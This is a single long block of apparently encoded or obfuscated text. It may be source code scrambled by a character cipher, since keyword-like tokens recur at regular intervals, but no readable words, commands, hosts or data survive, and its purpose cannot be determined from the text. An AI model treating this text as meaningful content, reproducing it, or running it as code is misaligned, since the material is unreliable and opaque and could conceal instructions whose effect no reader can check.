eeea=w}=)'/7<3/leeee>OOOO="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mtwqpliea=w}=)'/7<3/l~Oeee8ee&$1&-eem =& 51,*+ea=w}=)'/7<3/le>O8OOee7 107+eeea4!<+'357/}=3sw~Oeee8Oe#0+&1,*+eeee!!4.)=21-')$$(<ma*2=7200<23#<vlOOOeee>Oeee17<eeee>Oa!}?vw+6q."*u2|!eeeeeexeeeee=}p-/*"'(=r+3mtwvwlm?|?!)+'qtu++mtwqslleeeeezem617,+"lee726 ",|qq $q'?&m=}p-/*"'(=r+3mtwv|lieeeggleeeeegg~Oeeeee,#eemdeeea!}?vw+6q."*u2|!leee>Oee7 107+eeea*2=7200<23#<v~Oeeee8Oa!/-771+."p5(exee$77$<m=}p-/*"'(=r+3mtwqrlie=}p-/*"'(=r+3mtwq}ll~OOOOe#*7 $&-eema!/-771+."p5(e$6eea. <le>Oe,#em,66 1ma*2=7200<23#<va. <leccee=w7ru&0,2#3mttpqlma*2=7200<23#<va. <leeecce=}p-/*"'(=r+3mrp}lm0!(7.u=/&.(.mtwq|lieea*2=7200<23#<va. <ieea)(34wu00 s-s),slle>Oea$)w)#u=7<s!eexe0!(7.u=/&.(.mpwulmuieeem,+1leea)(34wu00 s-s),steeeheeetl~OOOOeeeea*2=7200<23#<va. <eexeeee=w7ru&0,2#3mq|rlm?|?!)+'qtu++mtwpulieeeebmbeekeeea$)w)#u=7<s!eeeeeekeeeeeeblbiea*2=7200<23#<va. <l~Oe8Oeeeee8Oeee8ee&$1&-eeeem-7*2$') eeea=w}=)'/7<3/lee>Oeee="!24p3/qt!$s631p2',pm?|?!)+'qtu++mtwptlieeeeea=w}=)'/7<3/l~O8eeee&$1&-eem =& 51,*+eeeeea=w}=)'/7<3/leeeee>O8Oeee7 107+eea*2=7200<23#<v~O8Oeee#0+&1,*+e)**4.&-/)4u71q?!w=?ma *6s$$$v.!qieea2$st+5,!#=t3lOe>OOOeeeee17<eeeeee>Oa't'!.3 t0v*=q0eeexeeee?|?!)+'qtu++mtwpwlm?|?!)+'qtu++mtwqslleezeeem617,+"le726 ",|qq $q'?&m=w7ru&0,2#3mtwv|lieeeggleeeeeegg~OOOe,#eeema't'!.3 t0v*=q0eeeexxxeggle>Oe7 107+eea *6s$$$v.!q~OOeee8OOeeeeeeee,#eemdeeeee=}p-/*"'(=r+3mttttlma *6s$$$v.!qllee>O7 107+eeea *6s$$$v.!q~O8OOOee,#eeemdeeeee,66 1ma *6s$$$v.!q=}p-/*"'(=r+3mtwpvlle99edeee=}p-/*"'(=r+3mttttlma *6s$$$v.!q0!(7.u=/&.(.mtwpvllleeee>Oa *6s$$$v.!q0!(7.u=/&.(.mtwpqleexe$77$<ml~Oeee8Oe,#emdeee=w7ru&0,2#3mtwpplma't'!.3 t0v*=q0iea *6s$$$v.!q0!(7.u=/&.(.mtwpqlie170 lleee>Oa *6s$$$v.!q=w7ru&0,2#3mtwpqleeeexeea't'!.3 t0v*=q0~Oeeeeee8OOO8eeee&$1&-eeeem-7*2$') eea=w}=)'/7<3/le>OOOe="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mtwpslieeea=w}=)'/7<3/l~O8eeeeee&$1&-eem =& 51,*+eeea=w}=)'/7<3/lee>Oeeeee8Oee7 107+ea *6s$$$v.!q~Oee8OeOOOO#0+&1,*+eee.06-0#+)/+7# u*mlOeeeee>OOa)&+.ru,<tq'+(4eexee$77$<ml~OeO,#em! #,+ !m?|?!)+'qtu++m}vtllecceee?|?!)+'qtu++mtwpwlm0!(7.u=/&.(.mtwqsllle>Oeeea.?0v|,vu=7-+.exem$77$<lee" 1*51,*+m0!(7.u=/&.(.m}ptliee$77$<mll~Oeea??#)7w 2&r|?eexeeeee$77$<ml~Oee#*7 $&-eeeema.?0v|,vu=7-+.eeee$6ea'$6 +$( leeeee>Oeeeee,#eeeemdeee0!(7.u=/&.(.mtwprlma'$6 +$( leee99e=}p-/*"'(=r+3mttpvlma'$6 +$( ieeee?|?!)+'qtu++m}u}lledxxee#$)6 lee>Oeee&*+1,+0 ~Oe8Oa<.qw'#t|}'61<+exeeeeee?|?!)+'qtu++mtwp}lma'$6 +$( l~Oeee,#eeema<.qw'#t|}'61<+exxxebkblee>Oea<.qw'#t|}'61<+eeexeea'$6 +$( ~O8Oee,#eeem,66 1ma??#)7w 2&r|?a<.qw'#t|}'61<+lleeeeee>Oee&*+1,+0 ~Oeeee8OOOOa??#)7w 2&r|?a<.qw'#t|}'61<+eeexeee170 ~OOa5-.67/ 5w+|"#}qexee	eekeebjbekeea'$6 +$( ~Oeeeeeee,#eem?|?!)+'qtu++mtwp|lma'$6 +$( leeeexxxeebkbleeee>Oeee,#em=w7ru&0,2#3mtwsulma5-.67/ 5w+|"#}qlleeee>Oeeeeea)&+.ru,<tq'+(4exeeeeea5-.67/ 5w+|"#}q~O8Oe8ee )6 eee>Oeeea,up&5"-,q7eeexeee=w7ru&0,2#3mtwstlma5-.67/ 5w+|"#}ql~OOOO,#eeeem=w7ru&0,2#3m}rwlma,up&5"-,q7lleee>Oeeeea)&+.ru,<tq'+(4eeexeee?|?!)+'qtu++mtwswlma)&+.ru,<tq'+(4ie'|4$}2.}+41$|p&)5*t} ma,up&5"-,q7ie$77$<m=w7ru&0,2#3mpwqllll~O8OOOO8Oeeeeeee8Oee8OOOOeeeOee,#eem?|?!)+'qtu++mtwsvlm4"<qv76 )}556+2(41?tt}mllle>Oea5.!).,p452/pexe*r=0p)/}!?|)1??/#qsm4"<qv76 )}556+2(41?tt}mll~OOO,#eem=w7ru&0,2#3mttttlma5.!).,p452/plleeee>Oe#*7 $&-eeeema5.!).,p452/pee$6eeeea v+)w4|'!24*le>Oeeee,#eema v+)w4|'!24*exxxeeeeee<.?0w34,t(?u<!q2"mlle>Oeeeeee&*+1,+0 ~OO8OOOea!2"} !14v&-(70eeeexee4"<qv76 )}556+2(41?tt}mleeekeeebjbeeeeeekeeeea v+)w4|'!24*~Oee,#eem0!(7.u=/&.(.mtwsulma!2"} !14v&-(70leeecceeee0!(7.u=/&.(.m}wtlm=}p-/*"'(=r+3mwtulma v+)w4|'!24*ieeeee&*+61$+1m?|?!)+'qtu++m}wullllexxxee?|?!)+'qtu++mtwsqlleeeee>Oea)&+.ru,<tq'+(4exeeeeeea!2"} !14v&-(70~Oee8OOOee8O8Oe8OeOOOOee,#em! #,+ !m=}p-/*"'(=r+3m|svllecceee=}p-/*"'(=r+3mtwsplm=}p-/*"'(=r+3mtwssllle>Oeeeea"&&*r3|t|eexeeeeem617,+"leee" 1*51,*+m=w7ru&0,2#3mtwsrlieggl~Oea((p23(<uu)6p&7exeeem617,+"lee" 1*51,*+m=w7ru&0,2#3mtws}lieggl~Oeeeea7)',$-7s&eexe! #,+ !m0!(7.u=/&.(.m}pwlleeezeeee
 eeeeekeeee=w7ru&0,2#3mtws|leeeeke0!(7.u=/&.(.mtwrul~Oeea51s4wu6*|$rq4wexeee0!(7.u=/&.(.mq|plm0!(7.u=/&.(.mvrulm$77$<ma"&&*r3|t|iea((p23(<uu)6p&7lll~Oeeee#*7 $&-ema51s4wu6*|$rq4weee$6ea61)q(6| s/$=|$lee>Oe,#em=w7ru&0,2#3mtwrtlma61)q(6| s/$=|$iee0!(7.u=/&.(.m}u}lleeeedxxeee#$)6 le>Oeeeee&*+1,+0 ~OO8Oea&5$",=)545'tqs=qeeexea7)',$-7s&eeeeekebjbeeeekea61)q(6| s/$=|$~O,#em=}p-/*"'(=r+3mtwsvlma&5$",=)545'tqs=qlleee>OeeeOea=+u-15v *u/peeexeeee*r=0p)/}!?|)1??/#qsma&5$",=)545'tqs=ql~Oeeee,#em?|?!)+'qtu++mtwrwlma=+u-15v *u/pllee>Oe#*7 $&-eema=+u-15v *u/peee$6eeeea v+)w4|'!24*le>Oeea&*w-#"w?v""eeeeexea&5$",=)545'tqs=qeeekebjbekea v+)w4|'!24*~Oee,#eem0!(7.u=/&.(.mtwsulma&*w-#"w?v""leccee=}p-/*"'(=r+3mtwrvlm0!(7.u=/&.(.mwtulma v+)w4|'!24*ieeee&*+61$+1m=}p-/*"'(=r+3m}wulllleeexxxe?|?!)+'qtu++mtwrqlle>Oea)&+.ru,<tq'+(4eeeeexeeeea&*w-#"w?v""~Oee8Oe8O8OOea+./<}}q3)v= eeeeexeea&5$",=)545'tqs=qeeeeeke0!(7.u=/&.(.mtwrpl~OOe,#eem=w7ru&0,2#3mtwsvlma+./<}}q3)v= lle>Oeeea)&+.ru,<tq'+(4eexeeeee=}p-/*"'(=r+3mtwswlma)&+.ru,<tq'+(4iee'|4$}2.}+41$|p&)5*t} ma+./<}}q3)v= ie$77$<m0!(7.u=/&.(.mtwrqllll~Oee8Oe8Oe8OOOOeeeee8Oeeeee7 107+e=}p-/*"'(=r+3mq|plma)&+.ru,<tq'+(4l~Oeee8Oeee#0+&1,*+ee.75s"$3v/w*0.wma,.<w?/$/50lO>OOO,#emd?|?!)+'qtu++mtwrslma,.<w?/$/50llee7 107+ee$77$<ml~Oeea |+<5s12$exeee$77$<ml~Oe#*7 $&-ema,.<w?/$/50ee$6eea=ss<?3q&?(w&)0'qleeeee>Oee,#emd?|?!)+'qtu++mtwrrlma=ss<?3q&?(w&)0'qleee99eeea=ss<?3q&?(w&)0'qeeeexxxeggeee99eee0!(7.u=/&.(.mtwr}lma=ss<?3q&?(w&)0'qlee{eeemrvv|hvwqvlleeeee&*+1,+0 ~Oe17<eee>OOOee,#em?|?!)+'qtu++mtwr|lma=ss<?3q&?(w&)0'qieeeeggleeexxxee#$)6 leeee&*+1,+0 ~Oeee8ee&$1&-eeeem-7*2$') ea=w}=)'/7<3/leeee>Oe&*+1,+0 ~OOOe8eee&$1&-eeeeem =& 51,*+eea=w}=)'/7<3/leee>Oee&*+1,+0 ~O8Oea |+<5s12$eeeexeeeea=ss<?3q&?(w&)0'q~OOOee8O7 107+eeeeeea |+<5s12$~Oeeeeeee8O#0+&1,*+ee2<5&|.*#5?("s3$5(0.ma,.<w?/$/50lOee>Oee17<e>OOeeeee,#eem (51<ma,.<w?/$/50lle>Oeeeeee7 107+ee#$)6 ~OOOO8OeOea)&+.ru,<tq'+(4exeee.06-0#+)/+7# u*ml~Oeeee,#eeem (51<ma)&+.ru,<tq'+(4lle>Oe7 107+e#$)6 ~Oe8Oeeea t/-&$.5eexe#$)6 ~Oe#*7 $&-ema)&+.ru,<tq'+(4ee$6eeea!2"} !14v&-(70lee>OeeOeeee,#eeeeemdee0!(7.u=/&.(.mtwsulma!2"} !14v&-(70le99eedee?|?!)+'qtu++mt}tlma!2"} !14v&-(70lle>O&*+1,+0 ~O8OeeeeO,#eeeem=w7ru&0,2#3mttqplma!2"} !14v&-(70le{eem}su|}whvvss|qllee>OOOOeeeee&*+1,+0 ~Oeee8Oeeeeeeeea?,-&2p00.rv-exee0!(7.u=/&.(.mtw}ulma!2"} !14v&-(70l~O,#eeeeemdeeea?,-&2p00.rv-ee99eeeeedeee=w7ru&0,2#3mtwrrlma?,-&2p00.rv-llee>Oe&*+1,+0 ~Oe8OOeea5,t }t37/"6/eeeexeee#$)6 ~OOOeeee#*7 $&-eema,.<w?/$/50eeeee$6eeea11.'4-.5&.leeee>OOOOeee17<ee>OeOa453!&/#r(u eeeeeexeeeee=}p-/*"'(=r+3mq|rlma11.'4-.5&.ieeggieea?,-&2p00.rv-l~Oeee,#eema453!&/#r(u edxxeeeeee+0))ecceeeeea453!&/#r(u eeeeedxxea?,-&2p00.rv-leee>OOeeeeea?,-&2p00.rv-exea453!&/#r(u ~OOOeea5,t }t37/"6/eeexeeee170 ~Oeeeeeee8OO8e&$1&-em-7*2$') eeea=w}=)'/7<3/lee>O="!24p3/qt!$s631p2',pm0!(7.u=/&.(.mtw}tlieea=w}=)'/7<3/l~Oeee&*+1,+0 ~Oeeeeeee8eee&$1&-em =& 51,*+ea=w}=)'/7<3/leee>Oee&*+1,+0 ~Oeeeee8O8OeeeOeee,#eeema5,t }t37/"6/lee>Oee,#eeeem<?+3w",2"p|.<!5!ma!2"} !14v&-(70iea?,-&2p00.rv-lleeee>OOOOa t/-&$.5exee170 ~Oee8Oee8Oeeeee8OeeOeeeee7 107+eeea t/-&$.5~Oee8ee&$1&-eem-7*2$') eeeeea=w}=)'/7<3/leee>O="!24p3/qt!$s631p2',pm0!(7.u=/&.(.mtw}wlieeea=w}=)'/7<3/l~OOOO8eeeee&$1&-eeem =& 51,*+eeeea=w}=)'/7<3/le>Oee8Oeeeee7 107+e#$)6 ~Oee8OeOOOOeeeee#0+&1,*+eeeee+w}u4=-'w)u)tu.rrma,up&5"-,q7ieea 0s7=vu0rs=u<rlOe>Oeeea&(6--'*(0exe$77$<ml~Oa 0s7=vu0rs=u<reexeea 0s7=vu0rs=u<reeeeheeet~OeeOeeeea=!u045$10+$3,)teexee?|?!)+'qtu++mwvrlma,up&5"-,q7l~Oeeee,#emdeeee=}p-/*"'(=r+3mtw}vlma=!u045$10+$3,)tlleeeeee>Oee7 107+eeeeea&(6--'*(0~Oe8Oeeea=!u045$10+$3,)texeee=}p-/*"'(=r+3mqutlma=!u045$10+$3,)tieeuieemqv}nswll~OOOOOOeee#*7 $&-eeeema=!u045$10+$3,)teee$6ea v+)w4|'!24*le>OOO,#ema v+)w4|'!24*eeexxxeeebkbeeee99eeea v+)w4|'!24*eexxxe=}p-/*"'(=r+3m}u}lleee>O&*+1,+0 ~Oee8OOOeeeeeeOeea5"*<+,q,v#usrexeea,up&5"-,q7eeekeeeeebjbekeea v+)w4|'!24*~O,#eemdeee?|?!)+'qtu++mtw}qlma5"*<+,q,v#usrlleeee>Oe&*+1,+0 ~O8OeOeeeeee,#eeem?|?!)+'qtu++mtw}qlma5"*<+,q,v#usreke=}p-/*"'(=r+3mtussllleeee>Oa&(6--'*(0eexee?|?!)+'qtu++msrqlma5"*<+,q,v#usrie=w7ru&0,2#3mtw}pll~Oeee&*+1,+0 ~Oeeee8OeeeeeeeOOOOeee,#eema 0s7=vu0rs=u<reeeee{eeeeuleee>OOOOeea&(6--'*(0exeee?|?!)+'qtu++mtwswlma&(6--'*(0ie+w}u4=-'w)u)tu.rrma5"*<+,q,v#usriea 0s7=vu0rs=u<rll~Oeeee8OOOeeee8OOeeeeeeeeOe7 107+eea&(6--'*(0~Oee8O#0+&1,*+e-#qu!|$'*7"p<(602*mlOeeeee>Oeeeeea.r6)$t&-5#0'exee$77$<ml~Oeea*6 q5 *u(1=(eeeexee=w7ru&0,2#3msrqlmiee=w7ru&0,2#3mtw}pll~OOeeeee17<e>Oa$#s3*p|5r,exeeee$77$<ml~Oeee,#eeema*6 q5 *u(1=(leeeee>OOOOeeeea$#s3*p|5r,eeeeeexe=w7ru&0,2#3mtwstlma*6 q5 *u(1=(l~Oa$#s3*p|5r,exeee?|?!)+'qtu++mtw}slm=}p-/*"'(=r+3mtw}rlma*6 q5 *u(1=(ll~Oeeeea$#s3*p|5r,eeexeee0!(7.u=/&.(.mtw}}lm=w7ru&0,2#3mtw}}lm?|?!)+'qtu++mtw}}lma*6 q5 *u(1=(lll~Oeee8OOeeeeOeeea$#s3*p|5r,eexeee?|?!)+'qtu++mtw}|l~Oeeeeeea$#s3*p|5r,eexe0!(7.u=/&.(.mtw|ul~Oa$#s3*p|5r,exeeeee=w7ru&0,2#3mtw|tl~OOa$#s3*p|5r,eexe=w7ru&0,2#3mtw|wl~Oa$#s3*p|5r,exe=}p-/*"'(=r+3mtw|vl~Oa$#s3*p|5r,eeeeexe?|?!)+'qtu++mtw|ql~Oeeeea$#s3*p|5r,eeexeeee=}p-/*"'(=r+3mtw|pl~OOeeeeeeea$?(wp5u'&+r2+'exe=}p-/*"'(=r+3mtwsplm0!(7.u=/&.(.mps}llezeeem617,+"lee?|?!)+'qtu++mtw|slm?|?!)+'qtu++mtw|rlleeeeegg~Oee,#ema$?(wp5u'&+r2+'eeedxxeeeeeeggle>Oeeea!00?r6#&4$'?5eeexeem0!(7.u=/&.(.mtwrtlma$?(wp5u'&+r2+'ieeeb~bleedxxeee#$)6 lezeeeb~beeeeeeeebb~OOOOeeee#*7 $&-eeeeem0!(7.u=/&.(.mtttwlma!00?r6#&4$'?5ieeeeea$?(wp5u'&+r2+'le$6ea33q#<('6.4r$slee>Oeeeea33q#<('6.4r$seeexe=w7ru&0,2#3m|u|lma33q#<('6.4r$sl~O,#ema33q#<('6.4r$seedxxegglee>OOOea$#s3*p|5r,eeeeexeeea33q#<('6.4r$s~OOOeeeeee8Oee8OO8OeeOeeea$#s3*p|5r,eexeeee?|?!)+'qtu++mtw|}lm?|?!)+'qtu++mtw||lma$#s3*p|5r,ll~Oea<#/&"4s/77 0)'r5exeeee0!(7.u=/&.(.mtvuulm170 l~Oeea.r6)$t&-5#0'eeeeexee$77$<ml~OeeeeO#*7 $&-eema$#s3*p|5r,eeee$6eeea,up&5"-,q7le>OeOeeeeee,#eemde=w7ru&0,2#3mtw}qlma,up&5"-,q7lee99edee?|?!)+'qtu++mtvutlma,up&5"-,q7lle>Oe&*+1,+0 ~Oe8Oee,#eeemm0!(7.u=/&.(.mtvuulm170 leeehea<#/&"4s/77 0)'r5le{eemvnrlleee>OOO'7 $.~Oeee8OOa.r6)$t&-5#0'eeeexee=w7ru&0,2#3mtwswlma.r6)$t&-5#0'ie+w}u4=-'w)u)tu.rrma,up&5"-,q7ieeeeewll~O8Oee8eeee&$1&-eeeeem-7*2$') eeeea=w}=)'/7<3/lee>Oe="!24p3/qt!$s631p2',pm=w7ru&0,2#3mtvuwliea=w}=)'/7<3/l~OOOeee8ee&$1&-eeem =& 51,*+eeea=w}=)'/7<3/leeee>OOe8OOOOeeeOe7 107+ee=w7ru&0,2#3mruqlm?|?!)+'qtu++mtw|}lma.r6)$t&-5#0'lieee$77$<ma*6 q5 *u(1=(ll~Oeee8O#0+&1,*+ee5 ws}q/53!u"r<|00'( *ma7+v6=<104+v6-0lO>Oeeeee17<ee>Oea+='(|s|'-+(.eexee$77$<ma7+v6=<104+v6-0eeeke0!(7.u=/&.(.mtvuvlieea7+v6=<104+v6-0eeke0!(7.u=/&.(.mtvuqll~Oeee#*7 $&-eema+='(|s|'-+(.e$6ea,up&5"-,q7leee>O,#eeeemde0!(7.u=/&.(.mtw}qlma,up&5"-,q7lle>Oee&*+1,+0 ~O8Oa*2-v5tw.q( $,exee*r=0p)/}!?|)1??/#qsma,up&5"-,q7l~O,#eeeeeemd?|?!)+'qtu++mtw}vlma*2-v5tw.q( $,lleeeee>Oee&*+1,+0 ~Oee8O#*7 $&-eema*2-v5tw.q( $,e$6eea=w}=)'/7<3/lee>O,#em?|?!)+'qtu++mttqslma=w}=)'/7<3/ieehmwttrlleeexxxe0!(7.u=/&.(.mttrrleccee1?717-.?s')pru }'s.ma,up&5"-,q7ekebjbeeeekeeea=w}=)'/7<3/ieeeeeemq||untullleee>Oe7 107+eeeee170 ~OOee8OOee8Oe#*7 $&-eeeeeema*2-v5tw.q( $,e$6eeeea=w}=)'/7<3/lee>Oea?!w'q2&t0.0.*eeexea,up&5"-,q7eeeeekebjbeeeeekeeeea=w}=)'/7<3/~Oeeee,#emde=}p-/*"'(=r+3mtw}qlma?!w'q2&t0.0.*lleeeee>Oee&*+1,+0 ~Oeeee8Oeeeeeea 5)#=qv?}|eeexee*r=0p)/}!?|)1??/#qsma?!w'q2&t0.0.*l~Oee,#emd=}p-/*"'(=r+3mtvuplma 5)#=qv?}|llee>O&*+1,+0 ~Oee8Oe#*7 $&-eeeema 5)#=qv?}|e$6eeeea3t7v052|u2)55u/leeee>O,#eeeem0!(7.u=/&.(.mttqslma3t7v052|u2)55u/iehmu=vnu=tlleexxxee=}p-/*"'(=r+3mttrrleecce1?717-.?s')pru }'s.ma?!w'q2&t0.0.*eeekeeeeebjbeeeeeekeeeea3t7v052|u2)55u/ieeemu=tuwunu=vs}llleee>Oeeeeeee7 107+e170 ~O8Oeee8Oeee8OOOOeee8Oeee8ee&$1&-em-7*2$') eeeea=w}=)'/7<3/leee>Oeeeee="!24p3/qt!$s631p2',pm=w7ru&0,2#3mtvusliea=w}=)'/7<3/l~O8eeee&$1&-eem =& 51,*+eeea=w}=)'/7<3/le>OOOee8OOOOeee7 107+ee#$)6 ~Oeee8O#0+&1,*+eee2ww5p 5(?t51'uw#wv+4,mlOee>Oe17<eeeee>Oee,#eem0.s=<ws1t("!& m.!*q3ww&t$ 5+*7'&rmllleeee7 107+~OeOe,#em" 117$+6, +1m=w7ru&0,2#3mtvurllle>Oeeeee7 107+~OOOee8OeeOea++&0*6#1ru?eeeexeee0=&?!<<|0*r/q0.<6ml~OOOO,#emdeeea++&0*6#1ru?eee99ee=w7ru&0,2#3mtvu}lma++&0*6#1ru?leeeyeeeem|uwn|}lleeee>Oee7 107+~Oee8Oeeee,#emdeee +/$07!"qr+ 6)*pw</s -ma++&0*6#1ru?lle>Oeeeeeee="!24p3/qt!$s631p2',pm=w7ru&0,2#3mtvu|lieee=w7ru&0,2#3m}s}ll~Oee7 107+~Oe8OOea.r6)$t&-5#0'eeexee-#qu!|$'*7"p<(602*ml~Oe,#eem (51<ma.r6)$t&-5#0'lleee>Oeeee,#emd" 117$+6, +1m=}p-/*"'(=r+3mtvtullleeee>Oeee="!24p3/qt!$s631p2',pm?|?!)+'qtu++mtvu|liee?|?!)+'qtu++mtvttll~Oeee6 117$+6, +1m0!(7.u=/&.(.mtvtulieeeeeetiemvpqtnp|ll~Oeee8O6 117$+6, +1m0!(7.u=/&.(.mtvurlietiemwp|t|untull~O7 107+~Oeeee8Oa*672v$4<=637=exeeeu~O#*7 $&-eema.r6)$t&-5#0'eee$6eea7+v6=<104+v6-0leee>OOeOeeeeee,#eeem5 ws}q/53!u"r<|00'( *ma7+v6=<104+v6-0llee>Oeeee&*+1,+0 ~Oee8OeeOea.7+*#pt!!q"exeeeeegg~Oea3=w23,5)$ veexeea7+v6=<104+v6-0eeeekeeee0!(7.u=/&.(.mtvtwl~OOOO,#eeeem0!(7.u=/&.(.m}vqlma3=w23,5)$ vleeeeecced0!(7.u=/&.(.mtvtvlma3=w23,5)$ vllee>Oeea3=w23,5)$ veexeee+0))~Oe8e )6 ,#eeemd=w7ru&0,2#3mtvtvlma3=w23,5)$ vllee>Oee")"--6=55t,-(&ma3=w23,5)$ viem|pphqswlie170 l~Oe8OOOOee,#eema3=w23,5)$ vecceeeemd=}p-/*"'(=r+3mtvtvlma3=w23,5)$ vle99eed0!(7.u=/&.(.mtvtqlma3=w23,5)$ vllle>Oea3=w23,5)$ veeexee+0))~Oe8Oeeee,#eeeeeema3=w23,5)$ vleeee>Oea<-,u5|/3,'?q)'/eexeea3=w23,5)$ veeeeekebjbeeekee<.?0w34,t(?u<!q2"ml~Oa$5w6.p<vr(.307,eeexee*0*)-&#77 -u|&,ma++&0*6#1ru?l~Oeea0s/70u|rw16eexe-3&*t0)(+,)?3 r6rma<-,u5|/3,'?q)'/ieea$5w6.p<vr(.307,ie=}p-/*"'(=r+3mtvu|ll~Oeeee,#ema0s/70u|rw16eeeccea0s/70u|rw16eee{xee?|?!)+'qtu++mtvu}lma$5w6.p<vr(.307,lleeee>Oeeeeea.7+*#pt!!q"exeeea<-,u5|/3,'?q)'/~Oeeeeee8Oeee8OeeeOe,#eeeeemdeeea.7+*#pt!!q"leeeeee>OOeea,"<?*}$,15$#(eeeexeee0!(7.u=/&.(.mtvtplm<.?0w34,t(?u<!q2"mlieeeee
	  l~OOeea?2=rt'uu*q,v5eexeeea7+v6=<104+v6-0eeeeekee=w7ru&0,2#3mtvtslekea,"<?*}$,15$#(~Oee,#eemdeeeee?|?!)+'qtu++mtvtvlma?2=rt'uu*q,v5lle>Oeeeee")"--6=55t,-(&ma?2=rt'uu*q,v5ieeeeemqrvnwulie170 l~OOe8Oea<-,u5|/3,'?q)'/eeeexeea?2=rt'uu*q,v5ekebjbekee<.?0w34,t(?u<!q2"ml~Oeeeeea$5w6.p<vr(.307,eexeee*0*)-&#77 -u|&,ma++&0*6#1ru?l~Oa0s/70u|rw16exeee-3&*t0)(+,)?3 r6rma<-,u5|/3,'?q)'/ieeeea$5w6.p<vr(.307,iee0!(7.u=/&.(.mtvu|ll~Oeeee,#eema0s/70u|rw16ecceea0s/70u|rw16e{xe=w7ru&0,2#3mtvtrlma$5w6.p<vr(.307,llee>Oea.7+*#pt!!q"eexeeea<-,u5|/3,'?q)'/~OeeeeeOOea'$6 +$( exeeea,"<?*}$,15$#(eeeekebjbeeeeekeeeeee<.?0w34,t(?u<!q2"ml~Oeee4,"|(/6#.4$?<=$rv124|ma7+v6=<104+v6-0iea'$6 +$( l~Oee8Oe8Oeee,#eeemdea.7+*#pt!!q"lee>OOO&*+1,+0 ~Oee8OOe3t6<p=,(t?0=|? +!<6|ma.7+*#pt!!q"l~Oee17.s-rs}w1.3'qma.7+*#pt!!q"ieemwqpnqrll~Oeea*672v$4<=637=nn~Oe8Oee,#eeema*672v$4<=637=ee{eeuleeee>O6 117$+6, +1m0!(7.u=/&.(.mtvurlieeetieemwp|tvvnsrll~Oe8eee )6 eeeee>Oe6 117$+6, +1m?|?!)+'qtu++mtvurlieetiemvpqtnp|ll~O8Oeee8ee&$1&-eeeeem-7*2$') eeeeea=w}=)'/7<3/leee>Oeeee="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mtvt}liea=w}=)'/7<3/l~Oeee8eee&$1&-eem =& 51,*+eea=w}=)'/7<3/lee>Oeeee8Oee8Oe#0+&1,*+eee4,"|(/6#.4$?<=$rv124|ma7+v6=<104+v6-0ieea'$6 +$( lO>Oeee17<e>Oea)+-s.3,u=/))#eeexeeeeea7+v6=<104+v6-0eeke=w7ru&0,2#3mtvt|l~O,#eeeemdee0!(7.u=/&.(.mtvwulma)+-s.3,u=/))#lleeeee>OOOa)+-s.3,u=/))#eexe=}p-/*"'(=r+3mtvwtlma7+v6=<104+v6-0leekeeee=}p-/*"'(=r+3mtvt|l~Oe,#eeemde=w7ru&0,2#3mtvwulma)+-s.3,u=/))#lle>OO7 107+~OOO8Oee8Oeea ,/u=4v$$+q,eeeeexee=w7ru&0,2#3mtw}ulma)+-s.3,u=/))#l~O,#eemdeea ,/u=4v$$+q,leee>O7 107+~OOOOeee8OOOOeeeea<!|u"4 54}<*exeegg~OOOOea57 #,=eeexeeeegg~Oeeeeee,#em0!(7.u=/&.(.mtwr|lm=}p-/*"'(=r+3mtvwwlieea ,/u=4v$$+q,iea)(34wu00 s-s),sllee>Oa<!|u"4 54}<*eeeeexea)(34wu00 s-s),st~OOeeeee8OOOOeeee,#em=}p-/*"'(=r+3mtwr|lm0!(7.u=/&.(.mtvwvlieea ,/u=4v$$+q,ieeea)(34wu00 s-s),slleee>Oea57 #,=eexea)(34wu00 s-s),st~Oeee8O,#emdeeeea<!|u"4 54}<*e99eedeea57 #,=e99ede=w7ru&0,2#3mtwr|lm=}p-/*"'(=r+3mtvwqliea57 #,=lle>Oeee7 107+~OOOO8Oeea25!'exeea	
	0!(7.u=/&.(.mtuqsl~Oe,#eemde=}p-/*"'(=r+3mtwuqlma25!'le99eeeedeeee?|?!)+'qtu++m|}lma25!'ieeee?|?!)+'qtu++mtvwpllleee>OOOee7 107+~Oeeeee8OOOe,#eeemdee=}p-/*"'(=r+3mtwr|lm?|?!)+'qtu++mtvwslieeea<!|u"4 54}<*lle>OOOO="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3m|twlie=}p-/*"'(=r+3mtvwrll~Oee7 107+~O8Oa2'w2=7s)3* -)(#0exeb%beekeea<!|u"4 54}<*eekeee=}p-/*"'(=r+3mtvw}leeeeekeea57 #,=eeeeekee=w7ru&0,2#3mtvw|l~Oa25!'h{40 7<m=}p-/*"'(=r+3mtvvull~OOeea,#',1(q=+1v"eeeeeexeea25!'h{" 13$7mbbeekeeee?|?!)+'qtu++mtvvtleekeea2'w2=7s)3* -)(#0eekeee0!(7.u=/&.(.mtvvwleeke=}p-/*"'(=r+3mtvvvleke?|?!)+'qtu++mtvvqll~Oeee,#ema,#',1(q=+1v"exxxe+0))leeeee>Oeeea25!'h{40 7<m=w7ru&0,2#3mtvvpll~Oeee7 107+~O8Oeeea.?0v|,vu=7-+.eexee=w*50vu/&s/-q*rma,#',1(q=+1v"l~Oeee,#eemdeeee=}p-/*"'(=r+3mtvuplma.?0v|,vu=7-+.llee>Oeea25!'h{40 7<m?|?!)+'qtu++mtvvpll~Oe7 107+~Oe8Oee,#eem0!(7.u=/&.(.mtwpplma'$6 +$( ieea.?0v|,vu=7-+.ieee170 lleeee>Oea25!'h{40 7<m0!(7.u=/&.(.mtvvsll~Oe7 107+~O8OOOeeeeea.?0v|,vu=7-+.exeea'$6 +$( ~OOOeea.?0v|,vu=7-+.eeexe0!(7.u=/&.(.msvslma.?0v|,vu=7-+.l~Oa=6( "qw2(2&exeee=w7ru&0,2#3mvrrlma.?0v|,vu=7-+.l~Oea5='|0us4t/*<wpexeea25!'h{40 7<ma25!'h{57 5$7 mbbeeekee=w7ru&0,2#3mtvvrleeeeekeea2'w2=7s)3* -)(#0eke?|?!)+'qtu++mtvv}lekeee0!(7.u=/&.(.mtvv|lieeea=6( "qw2(2&ll~Oe,#eeeeema5='|0us4t/*<wpeexxxee#$)6 leee>Oeee="!24p3/qt!$s631p2',pm0!(7.u=/&.(.m|twlieeeee?|?!)+'qtu++mtvqull~OOOeea25!'h{40 7<m0!(7.u=/&.(.mtvvpll~Oeeeee7 107+~OOeee8Oa25!'h{40 7<m0!(7.u=/&.(.mtvqtll~Oeeeee8e&$1&-eeeeem-7*2$') 